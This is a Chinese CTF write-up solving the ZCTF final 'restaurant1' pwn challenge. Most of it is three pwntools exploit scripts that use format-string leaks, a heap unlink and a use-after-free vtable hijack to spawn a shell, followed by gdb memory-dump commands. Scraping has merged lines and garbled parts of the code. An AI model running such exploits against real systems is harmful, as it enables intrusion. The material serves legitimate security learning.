和线上赛的题目差别不大,但是需要自己去泄露堆的地址。除了线上赛的溢出之外,还多了一个Use After Free的洞。我写了两种利用方法。

线上赛writeup见:http://www.cnblogs.com/wangaohui/p/5211672.html

信息泄露可以通过格式化字符串的洞来完成。在entree的第二个和soup的第三个存在格式化字符串漏洞。

第一种利用方法和线上赛相似,只不过需要信息泄露。在比赛中,不知道什么鬼没有权限拷贝libc,所以用的是dynelf进行内存泄漏。成功概率1/9。这个exp在决赛的时候,写出来的有点晚,就打了十几次。

 from pwn import *
import time
context.log_level = 'debug'
#by wangaohui
#s= remote('172.16.5.10',9002,timeout=60)
s= remote('127.0.0.1',10001,timeout=60)
time.sleep(1)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0])
#raw_input('go!')
s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Do you have any taboos?')
s.sendline('/bin/sh;')
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ')
s.sendline('cn')
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(0x404b50+2+10-5)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a staple food, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('%5$p')
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Order 2 :')
s.recvuntil('appearance comment: ')
leaked = s.recvuntil('\n')
heap = int(leaked[2:-1],16) - 0x158
print hex(heap)
print 'leaked heap is ' + leaked s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('xxx')
s.recvuntil('How does this dish taste: ')
s.sendline('yyy')
s.recvuntil('Successfully comment.') fakefd = heap - 0x18
fakebk = heap - 0x10
appcom = 'a'*40 + p64(0x80) + p64(0x90)
tastecom = p64(0x81) + p64(fakefd) + p64(fakebk)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom)
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')#unlink
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') def infoleak(addr):
ppcom = 'xxx'
tastecom = p64(addr)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
strs = s.recvuntil('\n')[:-1]
if strs.find('-') != -1:
data = (int(strs[1:])^0xffffffff)+1
else:
data = int(strs)
return p32(data) d = DynELF(infoleak, elf=ELF('./restaurant1'))
systemaddr = d.lookup('system', 'libc')
log.info("systemaddr=" + hex(systemaddr)) #systemaddr = 0xaaaaaaaaaaaaaaaa
appcom = 'xxx'
tastecom = 'a'*8 + p64(systemaddr)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(0x404b50)) s.recvuntil('9. Finish your order.')
s.sendline('') s.recvuntil('3.Just so so!')
s.sendline('3.Just so so!')
s.recvuntil('Thank you for your comment,bye!')
s.interactive()
s.close()

  后来发现,可以用gdb调试,因此和拥有了libc差不多。

 from pwn import *
import time
context.log_level = 'debug'
#by wangaohui #s= remote('172.16.5.10',9002,timeout=60)
s= remote('127.0.0.1',10001)
time.sleep(2)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0])
raw_input('go!')
s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Do you have any taboos?')
s.sendline('/bin/sh;')
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ')
s.sendline('cn')
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(0x404b50+2+10-5)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a staple food, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('%5$p')
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Order 2 :')
s.recvuntil('appearance comment: ')
leaked = s.recvuntil('\n')
heap = int(leaked[2:-1],16) - 0x158
print hex(heap)
print 'leaked heap is ' + leaked s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('xxx')
s.recvuntil('How does this dish taste: ')
s.sendline('yyy')
s.recvuntil('Successfully comment.') fakefd = heap - 0x18
fakebk = heap - 0x10
appcom = 'a'*40 + p64(0x80) + p64(0x90)
tastecom = p64(0x81) + p64(fakefd) + p64(fakebk)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom)
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')#unlink
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') appcom = 'xxx'
tastecom = p64(0x6070B8)#atoi's got
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
atoistr = s.recvuntil('\n')[:-1]
if atoistr.find('-') != -1:
atoiaddr1 = (int(atoistr[1:])^0xffffffff)+1
print 'atoiaddr1 is: %x' % atoiaddr1 appcom = 'xxx'
tastecom = p64(0x6070Bc)#atoi's got
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
atoistr = s.recvuntil('\n')[:-1]
atoiaddr2 = int(atoistr)
print 'atoiaddr2 is: %x' % atoiaddr2
atoiaddr = (atoiaddr2<<32) + atoiaddr1
print 'atoiaddr is: %x' % atoiaddr systemaddr = atoiaddr + 0xc6f0
appcom = 'xxx'
tastecom = 'a'*8 + p64(systemaddr)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('') s.recvuntil('3.Just so so!')
s.sendline('3.Just so so!')
s.recvuntil('Thank you for your comment,bye!')
s.interactive() s.close()

  第二种利用方法,用的是Use After Free,当申请到entree的第一种时,就是买到了special,这个时候有两个指针指向了对应的内存堆块,但是取消订的菜的时候(就是free的时候),其中有一个指针并没有置为Null。所以,后面可以通过change account重新申请到free掉的那块内存,而且内容完全控制,完全可以伪造虚表指针,指向伪造的虚表,进而利用。

申请到已经free的内存块的代码:

在最后,通过伪造虚表和虚表指针执行到system的时候,发现参数传递不能控制为'/bin/sh;'。决定利用Libc的gadgets来进行利用。

因此,在没有libc的情况下,把Libc给dump出来,找的gadets。如下:

Mov rdi, rdx,将rdi指向了/bin/sh;而rax指向的是堆的内存,我们可以控制,因此可以将system的地址放到rax+0x20处,这样的话就执行了system("/bin/sh;")。成功概率为1/9。

 from pwn import *
import time
#context.log_level = 'debug'
#by wangaohui
#s= remote('172.16.5.10',9002,timeout=60)
s= remote('127.0.0.1',10001,timeout=60)
time.sleep(1)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0])
raw_input('go!') s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Do you have any taboos?')
s.sendline('/bin/sh;')
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ')
s.sendline('/bin/sh;')
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(10000)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a soup, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('%7$p %41$p')
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Order 3 :')
s.recvuntil('appearance comment: ')
leaked = s.recvuntil('\n')
heapstr = leaked.split(' ')[0]
heap = int(heapstr[2:],16)
print 'leaked heap is ' + heapstr
libc_start_mainstr = leaked.split(' ')[1]
libc_start_main = int(libc_start_mainstr[2:-1],16) - 0xf5
print 'leaked libc_start_main is ' + hex(libc_start_main)
magic = libc_start_main + 0x1f92b
print 'magic is ' + hex(magic) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(p64(magic)*3) #virtual table
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') s.recvuntil('9. Finish your order.') #uaf
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline(p64(heap+0x60) + 'a'*0x48)
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(10000)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.interactive()
s.close()

后来,longlong师兄告诉我,libc里有magic system address,可以直接用来拿shell,就不用这么麻烦了,不过暂时没有写。

附两条用到的命令:

searchmem "\x48\x8b\x10\xe8" 0x7ffff7726000 0x7ffff78c8000

dump memory libc.so.dump 0x7ffff7726000 0x7ffff78c8000

ZCTF-final-restaurant1的更多相关文章

  1. java抽象、接口 和final

    抽象 一.抽象类:不知道是具体什么东西的类. abstract class 类名 1.抽象类不能直接new出来. 2.抽象类可以没有抽象方法. public abstract class USB { ...

  2. Java内部类final语义实现

    本文描述在java内部类中,经常会引用外部类的变量信息.但是这些变量信息是如何传递给内部类的,在表面上并没有相应的线索.本文从字节码层描述在内部类中是如何实现这些语义的. 本地临时变量 基本类型 fi ...

  3. Java关键字final、static

    一.final根据程序上下文环境,Java关键字final有“这是无法改变的”或者“终态的”含义,它可以修饰非抽象类.非抽象类成员方法和变量.你可能出于两种理解而需要阻止改变:设计或效率. final ...

  4. JavaSE 之 final 初探

    我们先看一道面试题: 请问 final 的含义是什么?可以用在哪里?其初始化的方式有哪些? 首先我们回答一下这道题,然后再探究其所以然.  1.final 表示“最终的”.“不可改变的”,意指其修饰类 ...

  5. PHP的final关键字、static关键字、const关键字

    在PHP5中新增加了final关键字,它可以加载类或类中方法前.但不能使用final标识成员属性,虽然final有常量的意思,但在php中定义常量是使用define()函数来完成的. final关键字 ...

  6. final修饰符

    final本身的含义是"最终的,不可变的",它可以修饰非抽象类,非抽象方法和变量.注意:构造方法不能使用final修饰,因为构造方法不能被继承,肯定是最终的. final修饰的类: ...

  7. 浅析Java中的final关键字(转载)

    自http://www.cnblogs.com/dolphin0520/p/3736238.html转载 一.final关键字的基本用法 在Java中,final关键字可以用来修饰类.方法和变量(包括 ...

  8. java关键字extends(继承)、Supe(父类引用空间)、 This(方法调用者对象)、Instanceof(实例类型-判断对象是否属于某个类)、final(最终)、abstract(抽象) 、interface(接口)0

    java 继承使用关键字extends   继承的作用:减少代码量,优化代码 继承的使用注意点: 1子类不能继承父类的私有变量 2.子类不能继承父类的构造方法 3.子类在调用自己的构造方法时 会默认调 ...

  9. files list file for package 'xxx' is missing final newline

    #!/usr/bin/python # 8th November, 2009 # update manager failed, giving me the error: # 'files list f ...

  10. final关键字(final是最终的)

    final关键字(final是最终的) 1.final修饰特点 a.修饰类,类不能被继承 b.修饰变量,变量就变成了常量, 修饰基本数据类:final int num = 10; 修饰引用数据类型变量 ...

随机推荐

  1. Int16 Int32 Int64

    数据类型占多大空间 Int16, 等于short, 占2个字节. -32768 32767 Int32, 等于int, 占4个字节. -2147483648 2147483647 Int64, 等于l ...

  2. SPOJ 130 - Rent your airplane and make money(dp+优化)

    题意:有n列预定航班,从st时刻开始出发,飞行时间为d,花费为p,且同一时刻不能有两个航班,求最大的花费 对航班的开始时间(或结束时间)按升序排序,从后往前找到对应结束时间所在的航班位置(如按结束时间 ...

  3. Java中对象的三种状态

    Java中的对象的三种状态是和垃圾回收紧密相关的,因此有必要深究. 状态一:可触及态:从根节点开始,可以搜索到这个对象,也就是可以访问到这个对象,也有人将其称为可达状态. 状态二:可复活态:从根节点开 ...

  4. 【指数型母函数+非递归快速幂】【HDU2065】"红色病毒"问题

    大一上学完数分上后终于可以搞懂指数型母函数了.. 需要一点关于泰勒级数的高数知识 题目在此: "红色病毒"问题 Time Limit: 1000/1000 MS (Java/Oth ...

  5. linux下SSH远程连接服务慢解决方案

    1.适用命令及方案如下:[远程连接及执行命令]ssh -p22root@10.0.0.19ssh -p22 root@10.0.0.19 /sbin/ifconfig[远程拷贝:推送及拉取]scp - ...

  6. 不同SQL Server数据库之间的跨数据库查询

    --不同SQL Server数据库之间的跨数据库查询 EXEC sp_addlinkedserver @server=N'OldDatabase', --自己定义别名 @srvproduct=N'', ...

  7. ASP.NET基于donetCHARTING的自动报表

    1,首先需要添加引用ChartExtents.dll和donetCHARTING.dll,资源百度大把. 2,配置图片生成类. using System; using System.Data; usi ...

  8. WCF Rest:不使用UriTemplate使用post方式传参解决HTTP400问题以及参数映射问题

    在使用POST方式向服务提交数据时,出现HTTP400异常,以下代码描述: 服务接口定义: [OperationContract] [WebInvoke(ResponseFormat = WebMes ...

  9. Android 打开系统相册和系统视

    1.打开系统相册 Intent intent = new Intent(Intent.ACTION_VIEW); intent.setType("vnd.android.cursor.dir ...

  10. Splash界面布局与代码实现(一)

    xml界面布局代码: <?xml version="1.0" encoding="utf-8"?> <RelativeLayout xmlns ...